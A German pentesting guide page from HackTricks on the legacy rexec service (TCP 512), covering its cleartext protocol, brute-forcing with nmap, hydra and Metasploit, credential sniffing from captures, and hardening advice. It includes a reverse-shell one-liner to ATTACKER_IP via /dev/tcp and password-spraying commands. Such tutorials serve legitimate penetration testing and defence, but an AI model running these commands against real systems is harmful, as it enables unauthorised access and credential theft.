512 - Pentesting Rexec

Reading time: 5 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundinformationen

Rexec (remote exec) ist einer der ursprünglichen Berkeley r-Dienste (neben rlogin, rsh, …). Es bietet eine Remote-Befehlsausführungs-Funktionalität, die nur mit einem Klartext-Benutzernamen und Passwort authentifiziert ist. Das Protokoll wurde Anfang der 1980er Jahre definiert (siehe RFC 1060) und wird heutzutage als von Grund auf unsicher angesehen. Dennoch ist es in einigen veralteten UNIX- / netzwerkgebundenen Geräten standardmäßig aktiviert und taucht gelegentlich während interner Pentests auf.

Standardport: TCP 512 (exec)

PORT    STATE SERVICE
512/tcp open  exec

🔥 Der gesamte Datenverkehr – einschließlich Anmeldeinformationen – wird unverschlüsselt übertragen. Jeder, der in der Lage ist, das Netzwerk abzuhören, kann den Benutzernamen, das Passwort und den Befehl wiederherstellen.

Protokollübersicht

  1. Der Client verbindet sich mit TCP 512.
  2. Der Client sendet drei NUL-terminierte Zeichenfolgen:
  • die Portnummer (als ASCII), an die er stdout/stderr empfangen möchte (oft 0),
  • den Benutzernamen,
  • das Passwort.
  1. Eine letzte NUL-terminierte Zeichenfolge mit dem Befehl, der ausgeführt werden soll, wird gesendet.
  2. Der Server antwortet mit einem einzelnen 8-Bit-Statusbyte (0 = Erfolg, 1 = Fehler), gefolgt von der Befehlsausgabe.

Das bedeutet, dass Sie den Austausch mit nichts anderem als echo -e und nc reproduzieren können:

bash
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512

Wenn die Anmeldeinformationen gültig sind, erhalten Sie die Ausgabe von id direkt über dieselbe Verbindung.

Manuelle Verwendung mit dem Client

Viele Linux-Distributionen liefern immer noch den Legacy-Client im inetutils-rexec / rsh-client-Paket aus:

bash
rexec -l user -p password <target> "uname -a"

Wenn -p weggelassen wird, fordert der Client interaktiv das Passwort an (sichtbar im Netzwerk im Klartext!).


Enumeration & Brute-forcing

Brute-force

Nmap

bash
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration

nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>

Das rexec-brute NSE verwendet das oben beschriebene Protokoll, um Anmeldeinformationen sehr schnell auszuprobieren.

Hydra / Medusa / Ncrack

bash
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8

hydra hat ein dediziertes rexec-Modul und bleibt der schnellste Offline-Bruteforcer. medusa (-M REXEC) und ncrack (rexec-Modul) können auf die gleiche Weise verwendet werden.

Metasploit

use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

Das Modul wird bei Erfolg eine Shell erzeugen und die Anmeldeinformationen in der Datenbank speichern.


Sniffing von Anmeldeinformationen

Da alles im Klartext vorliegt, sind Netzwerkaufzeichnungen unbezahlbar. Mit einer Kopie des Traffics können Sie Anmeldeinformationen extrahieren, ohne das Ziel zu berühren:

bash
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}'  # username:password -> command

(In Wireshark Decode As …​ TCP 512 → REXEC aktivieren, um schön geparste Felder anzuzeigen.)


Tipps zur Nachnutzung

  • Befehle werden mit den Rechten des angegebenen Benutzers ausgeführt. Wenn /etc/pam.d/rexec falsch konfiguriert ist (z. B. pam_rootok), sind Root-Shells manchmal möglich.
  • Rexec ignoriert die Shell des Benutzers und führt den Befehl über /bin/sh -c <cmd> aus. Sie können daher typische Shell-Escape-Tricks (;, $( ), Backticks) verwenden, um mehrere Befehle zu verketten oder Reverse-Shells zu starten:
bash
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
  • Passwörter werden oft in ~/.netrc auf anderen Systemen gespeichert; wenn Sie einen Host kompromittieren, können Sie diese für laterale Bewegungen wiederverwenden.

Härtung / Erkennung

  • Setzen Sie rexec nicht aus; ersetzen Sie es durch SSH. Praktisch alle modernen inetd Superserver kommentieren den Dienst standardmäßig aus.
  • Wenn Sie es behalten müssen, beschränken Sie den Zugriff mit TCP-Wrappers (/etc/hosts.allow) oder Firewall-Regeln und erzwingen Sie starke passworts pro Konto.
  • Überwachen Sie den Verkehr zu :512 und die Starts des rexecd Prozesses. Eine einzige Paketaufnahme reicht aus, um eine Kompromittierung zu erkennen.
  • Deaktivieren Sie rexec, rlogin, rsh zusammen – sie teilen sich den größten Teil des gleichen Codes und Schwächen.

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks